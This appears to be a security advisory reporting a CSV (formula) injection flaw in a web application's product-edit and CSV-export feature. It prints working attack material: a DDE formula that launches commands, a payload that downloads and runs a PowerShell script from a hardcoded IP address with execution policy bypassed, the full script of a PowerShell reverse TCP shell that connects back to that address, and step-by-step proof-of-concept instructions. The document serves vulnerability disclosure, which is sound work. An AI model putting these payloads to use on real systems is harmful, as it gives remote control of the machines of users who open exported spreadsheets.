Summary
Description:
CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.
Details
A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe using
command:
=cmd|' /C calc'!A0
The same method can be used to run arbitrary code on the victim's machine.
For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine.
Payload:
This is our payload and will be used in the vulnerable field during exploitation
=cmd|' /C powershell Invoke-WebRequest
"http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1
shell.ps1:
$client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
PoC:
- Go to any product and click on Edit
- Add the above discussed payload in any field that accept text for e.g. Product Number field.
- Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.
This could be injected by admin or any user that has privilege to edit products.
Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.